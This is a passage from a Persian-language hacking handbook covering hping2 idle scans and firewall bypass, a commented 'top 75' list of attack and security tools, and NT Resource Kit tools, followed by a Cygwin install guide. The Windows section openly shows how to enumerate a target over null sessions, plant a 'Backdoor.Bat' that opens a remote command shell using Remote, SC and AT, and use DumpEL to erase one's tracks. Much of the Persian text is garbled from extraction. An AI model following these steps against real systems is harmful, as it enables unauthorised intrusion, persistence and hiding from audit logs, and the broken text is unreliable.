ا ای ورت  ب ه پ ان ، درصورتی ک ری  (٨٠ن فرم ورت دیگ ر پ ا ه صد ) ی ان مق ا (از ميزب دف اصلی م وع   ) ه سته از ن ک ب د ی از باش ب

SYS/ACK  سته ه ب ان SYS را در پاسخ ب ب ميزب ده از جان ال ش تد 192.168.1.200 ارس ه سوی آن ميفرس ان .  ب ه ميزب ا ک از آنج
ده وب    (ان مقصد    را برای ميزب   YS هرگز بسته از نوع      192.168.1.200 سته            ) سرویس دهن ه ب  SYS/ACKارسال نکرده در پاسخ ب

ستم        .  را به سمت ميزبان مقصد ارسال ميکند         RSTیک بسته    ا سي سته ه ن ب ره   ١٩٢٫١۶٨٫١٫٢٠٠حال چون برای ارسال ای ستلزم به  م
نسبت به قبل افزایش بيش از یک  ID در عمليات فوق مقدار شناسه   ٨٠ است به واسطه وجود ترافيک روی پورت         IPگيری از پروتکل    

ن   . در صورت عدم تغيير در شناسه ميتوان گفت که این پورت روی ماشين مورد نظر ما بسته است                    . واحد را نشان خواهد داد       خوب ای
ال درست حسابی نداشته باشد                     ن   در!! شيوه زمانی جواب ميدهد که ما یک سيستم در شبکه پيدا کنيم که با هيچ ماشينی فعل انفع ر ای  غي

  !! به خاطر فعل انفعال ان ماشين هی افزایش پيدا ميکند و ما نی فهميم چه شده IDصورت فيلد 
  

  کشف نوع سيستم عامل ميزبان
  

ام    idخوب ميدانيد که سيستم عامل های مختلف از الگو های متفاوتی برای افزایش شناسه   دوز و تم ه وین  استفاده ميکنند ، و باز ميدانيم ک
  . استفاده ميکنند با دستور زیر ميتوان به این مقدار توجه کرد و نوع سيستم عامل را کشف کرد ٢۵۶ز ضریب نسخ آن ا

  
bjohnson# ./hping2 -r 192.168.1.102 
HPING 192.168.1.102 (ep0 192.168.1.102): NO FLAGS are set, 40 headers + 0 data 
bytes 
len=64 ip=192.168.1.101 ttl=128 id=52132 flags=RA seq=0 win=0 rtt=0.8 ms 
len=64 ip=192.168.1.101 ttl=128 id=+768 flags=RA seq=1 win=0 rtt=0.9 ms 
len=64 ip=192.168.1.101 ttl=128 id=+512 flags=RA seq=2 win=0 rtt=0.9 ms 
len=64 ip=192.168.1.101 ttl=128 id=+512 flags=RA seq=3 win=0 rtt=0.9 ms 
len=64 ip=192.168.1.101 ttl=128 id=+768 flags=RA seq=4 win=0 rtt=0.9 ms 

  
  

  !!! با این ابزار ميتوانيد قواعد دیوار آتش را هم کشف کنيد که دیگر حوصله توضيح آن را ندارم 
  

  :صورت زیر است که شکل عمومی دستور به  ) firewall bypass(  کنيد bypassبا این ابزار هم ميتوانيد یک دیوار آتش را
  

hping2 <firewall ip> -S -F -p <blocked port> 
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Top 75 Security Tools 

  ) !!نه هکری( ابزار برتر امنيتی ٧۵

 معنی نماد های به کار رفته

  !!اوه چه کارا !! باید برید  دنبال کرکش بگردید چون با پدر مادر دار ها براش پول ميگيرند  

  !!با سيستم عامل های خانواده لينوکس کار ميکند  

 
د          ار ميکن ا ک ستم عامل ه ن سي ا ای ط ب  FreeBSD/NetBSD/OpenBSD and/or proprietary UNIX systems : فق

(Solaris, HP-UX, IRIX, etc.) 

  .هم کار ميکند) ویندوز ( یعنی روی سيستم های بيلی جون !!! نسخه ویندوز موجد است  

  !!خوب شروع ميکنيم به معرفی به ترتيب محبوبيت و کاربرد 

Nessus: 

از است                                 د ب ذیری ک اط اسيب پ ویش گر نق ن را ؛ یک پ شناسند ای ه  ب نم هم رین   ( خوب فکر ک ه بهت ام    ) .البت د و تم ار ميکن از راه دور ک

  این ابزار نسخه !! را پيدا ميکند ....... آسيبهای روی سرویس دهنده وب ، سرویس دهنده ميل و 
  

Ethereal: 
ی من ازش خوشم    !؟!البته خيلی کار درست ؟!! یعنی بسته ها و پاکتهای ارسالی را روی شبکه انگولک ميکند .  است Snifferیک   ؟ ول

   !! سر پا از این کار درست تر ولی  یکDnsSniffنمياد ، به نظر من 
  

Snort: 
  

رار          دزد گيراین یکی یکم بلف جاش این بالا نيست ولی چون یک           الا ق ن ب د ای د بکن ارا ميتوان ی ک م خيل دها ه  عالی و البته برای ما بچه ب
ط یکی   ( البته این بگم که یک !! انيم با این بکنيم برید کشف کنيد ما ها چه کار ميتو      !! گرفته   و شبکه       ) بله فق م ت ه فارسی متوسط ه مقال

   .در اصل هم یک وسيله استراق سمع است که تغيير ماهيت داده !! برای معرفی این هست بگردید حتما پيدا ميکنيد 
Netcat:  
 

اد یک در                         " سينه چاک شم    "عاشق  !! اوه ، اوه     ا ایج ه ت ا گرفت ورت ه ویش پ شبيه کردنش از پ همه کاره است به چاقوی جيبی سویسی ت

   .هلو انجام ميدهد% ٨٠کار دیگه را با کيفيت بالای .... مخفی تا 
 
 
TCPDump / WinDump:  

  
  است و یا Sniffer ولی کلا از دسته !!ميفهميد چيکاره است  ) امداد امنيت آامپيوتر( خوب به جای هر چيزی به این جا یک سر بزنيد     

   !!گر ترافيک شبکه است و وسيله ای برای استراق سمع لعملاً یک تحليبه عبارت ساده تر 
 
Hping2: 
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د                            ا اون بای وای نگو دیوانه اشم ، خيلی مرگبار ، ابزاری برای پویش پورت ها است به یک عالمه اطلاعات به ادم ميده ، فقط برای کار ب

د   BL2kنسخه ویندوز رسمی ندارد اما (نيد  را بدو... اصول شبکه و  ام ميده  ) هم همين کار را در سطح پایين تر در ویندوز انج

 
 
DSniff: 

  
ذیری در                 .. خفن ترین  ، مرگبار ترین و         وذ پ د از ابزارهای استراق سمع و ابزارهای تست نف سيار قدرتمن یک مجموعه از ابزارهای ب

   .است) استراق سمع و حملات مشتق شده از آن ( این باره 
 
GFI LANguard: 
 

من توصيه   . ولی کلا یک پویش گر نقاط آسيب پذیری سيستم است!! از این بدم مياد زیاد هم کارش خدایش درست نيست این برنامه             من  

  اه ، اه ، اه !! موندیم چرا اینجا گذاشتنش .  استفاده کنيد خيلی بهترRetinaميکنم به جای این از 
 
Ettercap: 
 

   .یک وسيله اتراق سمع است در اصل ، کارای دیگری هم ميکنه ولی اصل ان همون بود که گفتم 
 
Whisker/Libwhisker: 
 

کارش پيدا کردن نقاط آسيب پذیر در برنامه های کاربردی تحت وب و سرویس دهنده های وب است  !! روزی ؛ می گفت آیی نفس کش      
د        کارش خيلی درست ولی مدت مدیدی که  به روز ن      .  الا بزني د ب ون دست بای ه خودت ن ک ستيد     !! شده و این یعنی ای ه ای ني ه اگر حرف البت

Nessus       البته یک برنامه پولی با نام !!  همين کار ها را براتون انجام ميدهد و نيازی به این نداریدNStealth هم است که کارای مشابه 

   ) .ای های دیفيس ميخورهبه درد خوره و عقده (همين داره ولی پولی ولی کار آن خوب 
 
 
John the Ripper:  
 

د شده است    hash از فایلهای passwordکارش فهميدن کلمه رمز !! خوب بيش از حد معروف است       اره   .  یا همان فایلهای ک ال در ب مق
 ....ولی توصيه ميکنم به جای این از همان سایتی که به شما ها معرفی کردم استفاده کنيد !! ست جوینده یابنده ا. این به فارسی زیاد است

  
 
OpenSSH / SSH:  

  

  !!ارد ؟یکی بياد بگه آخه این به مبحث ما چه ربطی د
 
Cygwin 

  
از             Cygwinعشق مگو ،     د ب انواده ک زار های خ ام اب  بگو ، یک شبيه ساز خط فرمان لينوکس در ویندوز است ، با این ابزار ميتوانيد تم

   )راتمام بسته ها را باید داشته باشيد ، تمام آنها (را در ویندوز اجرا کنيد 
  
  

Sam Spade: 
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  .بدک نيست!! مع آوری اطلاعات اوليه در باره هدف شما است یک مجموعه از ابزارهای ج
 
ISS Internet Scanner: 
 

   . استفاده کنيد Retinaتوصيه ميکنم همراه !! مثل آن چند تا بالای. این یک پویش گر نقاط اسيب پذیر سيستم است 
 

Tripwire: 
  

یک ابزار است که من ميخواستم آن را در یک پست مجزا معرفی کنم اما عمر با ما یار نبود ، کلا این برنامه برای کشف تغيرات درون       
البی      .... فاده قرار ميگيرد ، برای کشف روت کيت ها و       سيستم بر روی فيل های حياتی مورد است        ارای ج ی ک بسيار مفيد است ، کلا خيل

   .دارد ، البته به درد ما ها هم ميخورد
  

Nikto: 

ی    !! کارش خوب   . است  ) برای سرویس دهنده وب ( یک پویش گر کامل و البته جامع وب  ای قبل ل آن دوت ا مث  تقریب

  
  

Kismet: 
  

 نداریم چه برسد   DSLما هنوز . مع شبکه های بی سيم است این زیاد به کار ما ها در ایران خودمان نمی آید چون یک وسيله استراق س        
ا           ت ه ن قيم ا ای دیم ب وش مان وز ت يم دارش هن ا ؛  س يم آن ه ی س ه ب ل     !! ب ری مث ای دیگ زار ه ه اب ت و  Netstumblerالبت    اس

Wellenreiter البته ابزار های دیگری هستند ولی مهم همون که گفتم  !!  
  

SuperScan: 
  

ط   یک پویش گر پورت است البته بسيار ضعي        تفاده از     .  را ميگردد TCPف و ناقص چون فق د من اس شه و   Nmapتوصيه اکي  است همي

  )یکی از گند ترین ابزار های پویش است ، هيچ امکان خاصی نسبت به رغبایش ندارد !! (همه جا 
 
 
L0phtCrack 5 
 

د بس               " جوهان  " این هم مثل     وب ميخواهن د هر جفت شون صبر ای اهم نميکن ی  !!! که در بالا گفتم کارش کرک پسورد است فرقی ب ول

   .جوهان یک سری قابليت دارد که این نداره 
 
 
Retina: 
 

ن  !!  بهترین پویش گر نقاط آسيب پذیری در ویندوز است X-Scanميتوانم به جدیت بگویم که  بعد از  م  Tenable NeWTو البته ای  ه

  . بدک نيست 
  

Netfilter 
  

ی دوست دارم آن        !! یک فيلتر و البته به نوعی دیوار آتش هم برای سيستم های لينوکس در سطح هسته است                   کارش خيلی درسته من خيل

   !!را 
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Traceroute / ping / telnet / whois: 
 

اربرد هستند   این ها فرمانهای پایه بسيار محبوب البته در واقع ب ا     !! سيار پر ک د ب ه را ميتواني ه این د  Hping2هم ام بدهي   انج

 
 
Fport: 
 

   !! ) موجود است حتما دانلود کنيد و بخوانيد اینجاکامل در توضيح !! (ابزاری برای تغيير مسير پورت است 
 
SAINT 

 

   !!خيلی قدیمی است بی خيالش بشوید !! یکی از اولين پویش گرهای نقاط آسيب پذیری بود 
 

Network Stumbler: 
 

  !! یک وسيله مانيتور و استراق سمع پاکت ها روی شبکه است 
 
SARA: 
 

  !!خيلی قدیمی است بی خيالش بشوید !! یکی از اولين پویش گرهای نقاط آسيب پذیری بود 
 
N-Stealth: 
 

وکس و از      !! استفاده کردنش خوب   !! خوب یک پویش گر نقاط آسيب پذیری روی وب سرور ها است       د روی لين د بری ی اگر ميتواني ول

Nessus استفاده کنيد اگر ميخواهيد روی ویندوز باشيد از X-Scanولی کار درست خفنگ است ... ستفاده کنيد و ا!!   
 
AirSnort: 

  

  !!اگر یک شبکه بيسيم گير بياورید و شروع به استراق سمع کنيد باید از این برای کد گشایی پاکتها استفاده کنيد 
  

NBTScan: 
  

   !!تا سرور ها  است ولی الان ها فقط به درد هک کاربر ها می خورد NetBIOSخدای اسکن 
  

GnuPG / PGP: 
  

ر روی شبکه است               ... یک وسيله برای کد کردن مکاتبات و فایلها و         ال ب ل انتق رای نق ه             !! شما ب الات سایت یک سری مقال در بخش مق

  !! وجود دارد در این باره 
 

Firewalk:  
 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٨٨١    صفحه

وعی  . در کار خودش عاليه . ک وسيله برای کشف سيستم فيلتر کردن بسته ها و قواعد دیوار آتش است    ی ار    Hping2البته به ن ن ک م ای  ه

  !!مرگبار مرگبار است !! هر جوفتشون عالی هستند من دیونه آنها هستم . را در لينوکس ميشود با آن انجام داد 
 
 
 
 
 
Cain & Abel: 
 

رای     ٩٨اندر زمان ویندوز . آلوده هستند" اسب های تر آوا     " زیاد به درد نميخورد و بيشتر نسخه های موجود آن به             يله خوب ب  یک وس

   !!بگزریم که یک عده مرده این ابزار هستند !! مات عبور بود ولی حالا اصلا به درد هيچ کاری نميخورد کد گشای کل
 
XProbe2: 
 

   !!! از راه دور است همين جبر گرايیله برای فعال کردن یک وسي
 

SolarWinds Toolsets: 
 
درت کشف کلمات                 یک سری مجموعه از ابزارهای کشف و تجزیه تحليل و البته حمله بر روی شبکه است که بعضی از ابزارهای آن ق

ه اصلی را                  { »» " د به زور    ورو" عبور به صورت     ا کلم د ت اربر تست ميکن یک سری تعداد زیادی کلمه عبور را روی یک حساب ک

   !!ابزار های خيلی زیادی دارد ، قيمتش هم خيلی زیاد !! را دارد } پيدا کند 
 
NGrep: 
 

   !!ست برای مشاهده و زیر نظر گرفتن پاکتها و بسته های رد بدل شده ميباشد یک وسيله راحت و البته راه د
 
Perl / Python: 
 

   !!دو زبان برنامه نویسی ميباشد که مستقل از ماشين اجرا کننده ميباشند 
 
THC-Amap: 
 

   . را ميگيرد nmapدر آینده نه چندان دور جای !! یک وسيله پویش پورت با قابليت زیاد است 
  

OpenSSL 
 

ه من مون                اط در             !! ده ام چی بگم       حقيقتاً آنقدر این یکی جا برای حرف زدن دارد ک د کردن ارتب زاری و ک يگم یک روش رمز گ ط م فق

   !!سطح شبکه است که برنامه ها در صورت پشتيبانی ميتوانند از آن استفاده کنند 
 
NTop: 
 

که شما با داشتن این اطلاعات ميتوانيد کف خون شبکه را با هم قاطی       . یک وسيله برای کشف و مشاهده نقاط پر ترافيک در شبکه است             

   !!!!!کنيد اگر یک کم دوگوله را فشار دهيد
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Nemesis: 
 

ن حملات     ا ای د   ) Packet injection(یک وسيله برای تجزیه و تحليل و تزریق پاکتها ، ساده است معمولا ب ام ميدهن ا  . را انج  hpingب

   .هم ميتوانيد این کار ها را بکنيد   
 
LSOF: 
 

  .این ابزار فایلهای باز روی سيستم که از آنها دارد استفاده ميشود و یک سری جزیيات دیگر را به شما نمایش ميدهد 
 
Hunt: 

  
ن    !!! یک وسيله برای استراق سمع با امکانات بسيار زیاد روی شبکه است کارش خيلی درسته من دوس دارم آن را    ا ای ودم ب قبلا گفته ب

  . هم هستند Dsniff و Ettercapاین مشابه . چه حملاتی را ترتيب ميدهند 
 
 
Honeyd: 
 

 را روی شبکه دنبال کنيد ميفهميد چه کاره است ولی کلا یک وسيله است که یک هکر را به خودش مشغول کرده                       honeynetگر مبحث   

   !! )به اصطلاح فردین بازی در مياره !!! (يه شبکه در امان بمانند و خودش را قربانی هکر ميکند تا بق
Achilles: 
 

يم            ان باش ا در ام ا م ه است ت رای حمل سيار عالی    !! بسيار واضح و البته گویا است یک وسيله برای پيکر بندی کردن پروکسی ب زار ب اب

   ...دیگری هم وجود دارند 
Brutus:  

  
ور کشف شود              !!) کرکر است   (یک وسيله است     ه عب ا کلم د ت اربر امتحان ميکن ور را روی یک حساب ک !! که با تعداد زیادی کلمه عب

   .  که من از اون خوشم نمياید خيلی بهتر کار ميکنه Hydra-THCمفت نمی ارزد چون خيلی کند اما 
 

Stunnel: 
 

   . قبل گفته بودم چه کار ميکنه . …………یک وسيله
 
Paketto Keiretsu: 
 

   . استTCP/IPیک سری ابزار برای کار کردن با خود پروتکل 
 
Fragroute: 
 

   ...!!!!نفرم مت!!   بار گير انداخته ٣یک دزد گير حالم از آن به هم ميخورد تا حالا ما را 
 
 
SPIKE Proxy: 
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تفاده                    !!!!!!!! یک ابزار برای ميخ کوب کردن پرو کسی است           دم چه جوری از آن اس ا فهمي تم ت دوس دارم آن را ، کلی با آن کلنجار رف

   !! حملات ما فوق خفنم  کنم به بهترین شيوه و در
 
THC-Hydra: 
 

ن             THC!!! یک وسيله برای کرک روی شبکه      د ای د ببيني سه کني ن مقای ا ای د ب د بری د بع دا ميکني  را جستجو کنيد مقالات فارسی خوبی پي

  !!دقيقا چه کار ميتواند بکند 
 
 

  !! تا بعدی ٢۵

 !!توضيحات فکر ميکنم بسيار واضح باشد 

• OpenBSD: The proactively secure operating system. 
• TCP Wrappers: A classic IP-based access control and logging mechanism 
• pwdump3: Allows for retreiving Windows password hashes locally or across the network whether 

or not syskey is enabled. 
• LibNet: A high-level API (toolkit) allowing the application programmer to construct and inject 

network packets 
• IpTraf: IP Network Monitoring Software 
• Fping: A parallel ping scanning program 
• Bastille: Security hardening script for Linux, Mac OS X, and HP-UX 
• Winfingerprint: A Win32 Host/Network Enumeration Scanner 
• TCPTraceroute: A traceroute implementation using TCP packets 
• Shadow Security Scanner: A commercial vulnerability assessment tool 
• pf: The innovative packet filter in OpenBSD 
• LIDS: A Linux kernel intrusion detection/defense system 
• hfnetchk: Microsoft tool for checking the patch status of all the Windows machines on a network 

from a central location 
• etherape: A graphical network monitor for Unix modeled after etherman 
• dig: A handy DNS query tool that comes free with Bind 
• Crack / Cracklib: Alec Muffett's classic local password cracker 
• cheops / cheops-ng: Gives a simple interface to many network utilities, maps local or remote 

networks and identifies OS of machines 
• zone alarm: Windows Personal firewall software. They offer a limited free version, but much of 

the functionality is disabled. Some users prefer Kerio Personal Firewall, which also sports free 
and commercial versions. 

• Visual Route: Obtains traceroute/whois data and plots it on a World map 
• The Coroner's Toolkit (TCT): A collection of tools that are either oriented towards gathering or 

analyzing forensic data on a Unix system 
• tcpreplay: a tool to replay saved tcpdump or snoop files at arbitrary speeds 
• snoop: A well-known gangsta rapper (Snoop Dogg)! It is also a network sniffer that comes with 

Solaris. 
• putty: An excellent Windows SSH client 
• pstools: A suite of free command-line tools for managing Windows systems (process listings, 

command execution, etc) 
• arpwatch: Keeps track of ethernet/ip address pairings and can detect certain monkey business 

SecurityFocus & Packet Stormروید و حال کنيد  این دو ، دو پایگاه برای دریافت انواع ابزار ها هستند ب!!  
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  :اهداف 
  

  .NT Resource Kitآموزش و معرفی ابزارهای : فصل بيستم  
  

  .Dump Event Log با نام کامل DumpELآموزش و معرفی ابزار  
  .NLTESTآموزش و معرفی ابزار   
  .EDUMPآموزش و معرفی ابزار  
  .USRSTATآموزش و معرفی ابزار  
  .Local Administrators آموزش و معرفی ابزار 
  .GLOBALآموزش و معرفی ابزار  
  .SRVCHECKآموزش و معرفی ابزار  
  .SRVInfoآموزش و معرفی ابزار  
  .AUDITPOLآموزش و معرفی ابزار  
  .Sonarsoft Dump Regآموزش و معرفی ابزار  
  .Reg Dumpآموزش و معرفی ابزار  
  .Remoteآموزش و معرفی ابزار  
  .SCرفی ابزار آموزش و مع 
  .ATآموزش و معرفی ابزار  
  .Killآموزش و معرفی ابزار  
  .CPآموزش و معرفی ابزار  
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   :NT Resource Kitمعرفی ابزار های 
  

 ميکنم که به درد کار ما بخورد برای تهيه معرفیاین همين جا اول کار بگویم که این بسته ابزارهای زیادی دارد و من فقط آنهایی را 
دوباره تاکيد ميکنم قسط من فقط معرفی است نه !!!  بزنيد کل جعبه آن را پيدا ميکنيد ت بسته بد نيست یک سری به سایت مایکروسافاین

  !!آموزش کامل بقيه کار را باید خودتان با توجه به نيازتان انجام دهيد 
  
   :Dump Event Log و يا با نام کامل DUMPEL ابزار -١
  

اهده اتفاق های امنيتی است که افتاده و ثبت شده و کارای خوبی نيز دارد البته با ویرایش این ابزار هيچ وقت زمان این ابزار برای مش
  !!ویرایش فایل ثبت وقایع عوض نميشود در کل خوب است برای پاک کردن رد پاهای خودمان 

  
   :NLTEST ابزار -٢
  

این ابزار برای جایگزینی این کنترل کننده ها مورد استفاده قرار !! را مستقر کرد هنگام تعيين دامنه در شبکه ميتوان کنترل های دامنه 
  !!ميگيرد

  !!! باز دارید و البته هيچ نيازی به دانستن کلمه عبور و نام حساب کاربری ندارید ١٣٩شما برای استفاده از این ابزار نياز به پورت 
  
   :EDUMP ابزار -٣
  

  ... سيستم های هدف وIPو نشانی های !!طلاعات اضافی از سيستم هدف است از جمله خدمات انتقال ها این ابزار برای بدست آوردن ا
  
۴- USRSTAT:   
  

برای کشف کنترل کننده ميتوانيد از . برنامه ای است که امکان گرد آوری مطالب کاربر را از کنترل کننده دامنه هدف فراهم ميسازد
NLTEST این ابزار نياز به یک اتصال . دیگر استفاده کنيد و یا هر ابزار مورد علاقهNULLنيز دارد .  

  
   :Local Administrators ابزار -۵
  

  !!این ابزار برای تشخيص حساب های کاربری با مجوز مدیر است البته فقط محلی نيست و از راه دور هم کار ميکند 
  
   :Global ابزار -۶
  

 نيز دارد و NULLکنترل دامنه برای تشخيص استفاده ميکند این دستور نياز به یک اتصال این ابزار دقيقا مثل قبلی است و فقط از 
  !! باید باز باشد ١٣٩البته به پورت 

  
   :Srvcheck ابزار -٧

. این ابزار برای کشف سرویس دهنده و اطلاعات مجوز اشتراک به کار ميرود و اطلاعات اشتراک های مخفيانه را نيز کشف ميکند
  . دارد تا کار بکندNULL یک اتصال نياز به

  
   :SRVINFO ابزار -٨
  

این اطلاعات در بر گيرنده ؛ . این ابزار به منظور بر شمردن اطلاعات مفصل در مورد سرویس دهنده هدف مورد استفاده قرار ميگيرد
  . داردNULL نياز به یک اتصال این ابزار باز هم مثل قبلی ها.  ها ميباشدکخدمات ، گردانده ها ، نسخه نرم افزار و اشترا

  
   :AUDITPOL ابزار -٩
  

 به کار ميرود و اگر ميخواهيد درست کار کند نياز به NTاین ابزار جهت برسی از راه دور و حساب های فعال یا غير فعال سيستم 
  .البته دستورات قابل اجرای بعدی بر روی سيستم را نيز مشخص ميکند. دسترسی مدیریتی نيز ميباشد

  
   :SOMARSOFT DUMPREG ابزار -١٠
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 دارد و البته با یک NULLاین ابزار احتياج به یک اتصال .  را برای ما فراهم ميکندRegistryاین ابزار امکان دسترسی به مقادیر 
IDمعتبر .  

  
   :REGDMP  ابزار -١١

  
عمولا نياز به دست رسی مدیریتی دارد و البته  از سرویس دهنده به کار ميرود مRegistryاین ابزار  جهت نسخه برداری اطلاعات 

   .nullنياز به اتصال 
  

   :Remote ابزار -١٢
  

پيش از به کار گيری این ابزار باید کلمه عبور و نام .این ابزار برای کسب دسترسی خط فرمان هدف مورد استفاده قرار ميگيرد 
 در هدف آشکار نشده باشد و فایل Schedulerاگر سرویس  ( remote.exe و SC.exeهمچنين . کاربری با مجوز مدیر دست یافت

  :این فایل گروهی حاوی دستور زیر است . را برای هدف نسخه برداری ميکنيم ) Backdoor.Bat(گروه 
Remote /S (cmd) pipname 

Pipeباید یک روش دست یابيم که سپس به منظور اجرای فایل گروهی. نامی که بخواهيد ، ميتوانيد نام گذاری کنيد  خود را به هر 
هنگاميکه فایل گروهی اجرا ميشود ميتوان بوسيله دستور زیر با سرویس دهنده ارتباط برقرار .  استفاده ميکنيمSchedulerمعمولا از 

  :کرد 
C:\> Remote /C Servername pipename 
 

   :SC ابزار -١٣
  

برای به کارگيری این ابزار باید دسترسی !! تم محلی به کار ميرود  در سيسScheduleاین ابزار به منظور آغاز و توقف سرویس 
 به منظور اجرای زمان بندی مشاغل به کار ميرود ، همچون Schedule Service.  آشکاری در اختيار داشتNetBIOSمدیریتی و 

برای آغاز سرویس . گيرد صورت ميNC یا Remoteیک فایل گروهی که حاوی یک پردازه برای گشودن درب پشتی است که توسط 
Schedulerدر سيستم از راه دور باید از دستور زیر استفاده کرد :  

C :\> SC \\ Server Start Schedule 
  : باید دستور زیر استفاده کنيم Scheduler که جریان دارد و یا پرسش Scheduleهمچنين به منظور تایيد سرویس 

C :\> SC \\ Server query Schedule 
  . نياز باشدSchedule جهت ایجاد هماهنگی در Net time یا ATم به کار گيری از این دستور شاید به استفاده از هنگا

  
   :AT ابزار -١۴

  
 استفاده کرد و هنگام در دسترس قرار ميگيرد که Schedule Serviceاین ابزار را ميتوان جهت برنامه ریزی از راه دور بوسيله 

 در ميزبان آغاز Schedule Serviceاول باید ثابت کرد که .  را به سيستم تقویت کردRemote و دسترسی پردازه ایی را اجرا کرد
  :سپس زمان محلی را کشف کرد بعد از دستور زیر استفاده کرد.  بالا به کار گرفتSCشده است و یا سرویس را با دستور 

C :\> at \\ Server time “Command” 
 که حاوی Backdoor.Batکه در ابزار قبلی توضيح دادم مثلا فایل .  مسير پردازه خود را بنویسيدCommandشما ميتوانيد به جای 

جهت پرسش از این که چه مشاغلی .  ميباشد تا درب پشتی را  در ماشين هدف ایجاد کردNC یا Remoteپردازه ای جهت پرداختن به 
  :ایجاد شده اند از دستور زیر استفاده ميشود 

C :\> at \\ Server 
   :KILLابزار  -١۵

  
  :شکل دستور این جوری است. این ابزار برای نابود کردن یک فرایند مورد استفاده قرار ميگيرد

D :\> kill <pid> 
  . که در بالاتر ها توضيح کامل دادم استفاده کنيدPslist هم ميتوانيد از فرمان pidبرای کشف کد 
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  !! برنامه های تحت لينوکس در ويندوز  اجرای مشکلضميمه پنجم ؛ حل
  

  . های آن استPackage با تمام Cygwinتوصيه موکد من به شما استفاده از 
  

کلا برای انجام این کار از دو راه کلی . خوب برای این کار راه حل های بسياری وجد دارد که البته اکثر دوستان نيز با آن نا آشنا هستند
  .نصب یک سيستم عامل مجازی درون ویندوز ؛ راه دوم شبيه سازی یک سيستم عامل مجازی درون ویندوزاستفاده ميشود ؛ راه اول 

  
را دارا است من از این نمونه فقط به ) فقط در موقع نصب ( راه حل دوم بازدهی بيشتر و البته کارای بيشتر ولی دنگ فنگ زیاد 

 باید یک سيستم عامل مجازی را درون سيستم عامل اصلی خود نصب قعاًراه حل اول شما وا.  بسنده ميکنمCygwinتوضيح برنامه 
 و VM WAREوجد دارد که از این دست من دو برنامه معروف )  برنامه۵بيش از ( کنيد که برای این کار برنامه های متعددی 

Microsoft virtual pc و Connectix Virtual pcمه با دو نام متفاوت استدو برنامه آخری یک برنا. (  را معرفی ميکنم.(  
  

چون فوق العاده خفن ) که عاشق آن شدم و زندگی بدون آن برایم امکان پذیر نيست اصلا (  را توضيح ميدهم Cygwinاول برنامه 
  .است و البته رایگان هم است و کد های برنامه آن هم در دست رس ميباشد

  
   :Cygwin مافوق خفن برنامه

  
 ميلادی و کمی قبل تر نوشته شده و کم کم توسعه یافته است سيستم کاری آن خيلی ساده است و ١٩٩٧بگویم سال  این برنامه ميتوانم 

آدم با استفاده از این برنامه رویایی .  استفاده ميکندDLL یا به اختصار Dynamic Linked Libraryفقط از یک مکانيزم منفرد 
که فقط برای لينوکس نوشته اند را ...  وCheops و strings و strace و md5sum و Nessusاستفاده از ابزارهای توپی همچون 
  ) ميکنم بدون مشکل و البته بدون دنگ فنگ دتأکي. ( بدون هيچگونه مشکلی تحقق می یابد

  
ر قسط آن را اگ. این ابزار مشکل ترین مرحله آن مرحله نصب برنامه است و البته تهيه یک نسخه کامل از آن دردسر خيلی زیاد است

  !! بی افتد DSLدارید که برنامه را به روال معمول خودش نصب کنيد حتما به فکر تهيه یک خط 
  

 ١١٣توصيه من پيدا کردن یک نسخه کامل از این برنامه بعلاوه تمام امکانات جانبی آن است یا حداقل امکانات اساسی آن که حداقل 
 استفاده کنيد نسخه که من توصيه Berkeley" برکلی " ن منظور ميتوانيد از سایت دانشگاه که برای ای. مگابایتی باید حجم داشته باشد

  . محشر استميکنم آدرس آن را در زیر قرار داده ام البته واقعاً
http://ptolemy.eecs.berkeley.edu/ptolemyII/ptII4.0/cygwinDevelSrc.exe 

  
  :البته نسخه های دیگری هم وجد دارد که حجم کمتری دارد از قبيل 

  
http://ptolemy.eecs.berkeley.edu/ptolemyII/ptII4.0/cygwinBasic.exe 

   مگابایت و نسخه١٠٫٩با حجم 
http://ptolemy.eecs.berkeley.edu/ptolemyII/ptII4.0/cygwinDevel.exe 

  و نسخهت مگابای٣۴٫۶با حجم تقریبی 
 http://ptolemy.eecs.berkeley.edu/ptolemyII/ptII4.0/cygwinBasic.exe 

   مگابایت و نسخه ١١٫١با حجم 
http://ptolemy.eecs.berkeley.edu/ptolemyII/ptII4.0/cygwinDevel.exe 

  . مگابایت ٢۵٫۴با حجم تقریبی 
  بعد از دریافت هر کدام از این ها ، مراحل زیر را به ترتيب انجام دهيد 

  
  ) معمولا خودش خودکار بالا می آید (  آن را از حالت فشرده خارج کرده و برنامه نصب را از داخل پوشه اجرا کنيد -١
   ) ضمعمولا خودش این را هم انتخاب ميکند به صورت پيش فر( را انتخاب کرده  Install from local directory بعد گزینه -٢
  )ریشه شروع لبه کار برنامه هم است (  را جایی انتخاب کنيد که برنامه در آنجا قرار ميگيرد و Root Directory بعد -٣
 Just را انتخاب کنيد در غير این صورت گزینه All Userفاده کنند گزینه  اگر ميخواهد دیگر کاربران ماشين شما از برنامه است-۴

MEرا انتخاب کنيد .  
  ) استUnixفرقی با هم ندارد توصيه . (  قالب توليد فایلهای متن را مشخص ميکندUnix و DOS گزینه -۵
های نصب در این شبيه ساز است را  که همان برنامه Package هم محل وجود فایل های Local Package directory گزینه -۶

  .مشخص ميکند
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 شما با توجه به مجموعه فایلها و برنامه هایی که دانلود کرده اید مجموعه ای از برنامه ها برای Select Packages در قسمت -٧
  .اهم ميشود امکان انتخاب هر کدام از برنامه ها برای شما فرViewنصب در اختيار دارید که با کليد کردن روی گزینه 

 در روی صفحه و ر برنامه شروع به نصب خود ميکند و در آخر کار هم از شما برای درست کردن ميان بNext با زدن دکمه -٨
  . از شما سوال ميکند Startمنوی 

ر ویندوز خودتان واقعی دارید د ) Shell(  آن برنامه شروع به کار ميکند و شما کاملا یک خط فرمان لينوکس ر با کليد روی ميان ب-٩
 !!  
  

 com.Cygwin کيلو بيت از سایت ٢۵٧اگر از این راهی که من توصيه ميکنم خوشتان نيامده ميتوانيد خود برنامه نصب را با حجم 
 Install from local directoryزینه ولی حتما به این یکی توصيه من ، که در مرحله دوم به جای گ. دریافت کرده و آن را اجرا کنيد

 ها را اول Package استفاده کنيد که با این کار شما Download Without Install از گزینه Install from internetیا گزینه 
اگر خدای نکرده دانلود ميکنيد بعد به شيوه که بالا توضيح دادم برنامه را نصب ميکنيد البته در این شيوه که من اصلا توصيه نميکنم 

بقيه . اتفاقی از هر نوع بی افتد امکان شروع دوباره کار از اول است و شما همه برنامه هایی را که دریافت کرده اید از دست ميدهيد
